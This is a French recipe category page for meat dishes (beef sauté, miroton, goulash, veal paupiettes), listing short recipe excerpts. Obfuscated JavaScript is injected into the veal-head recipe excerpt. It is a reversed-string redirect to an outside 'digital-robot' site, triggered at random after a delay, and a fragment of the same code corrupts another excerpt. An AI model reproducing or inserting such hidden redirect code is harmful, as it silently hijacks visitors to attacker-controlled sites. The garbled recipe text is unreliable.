Catégorie : Viandes
Sauté de bœuf
Pelez, coupez en 2 les gousses d’ail, ôtez le germe et hachez-les avec le persil. ...
Christine Lire la suiteBœuf miroton
Pelez et coupez les oignons en rondelles assez fines. Faites rissoler les oignons dans une ...
Christine Lire la suiteBifteck à cheval
Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu vif, faites cuire ...
Christine Lire la suiteTortillas à la viande de bœuf
Pelez, coupez en deux les gousses d’ail, les hachées avec les branches de persil. Réservez. ...
Christine Lire la suiteAiguillettes de bœuf
Faites des petites entailles dans l’aiguillette et introduire une partie des lardons, enroulez et ficelez.
Christine Lire la suiteBœuf braisé aux aromates
Faites des petites entailles dans l’aiguillette. Introduire une partie des lardons, que vous ficelez solidement.
Christine Lire la suitePaupiettes de veau à la duxelles flambée
Préparez la duxelles et parer les champignons que vous passez sous le robinet d’eau froide. ...
Christine Lire la suiteCroustillants de tête de veau sauce ravigote
Préparez la sauce en mélangeant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les Ingrédients. Égouttez ...
Christine Lire la suiteGoulasch de veau
Pelez, hachez le gingembre frais. Rincez, séchez, essorez, émincez le persil. Pelez, coupez en deux ...
Christine Lire la suitePaupiettes de veau farcies avec des champignons
Pelez, émincez les oignons. Essuyez et coupez en fines lamelles les champignons. Dans une grandom() ...
Christine Lire la suiteLes Recettes
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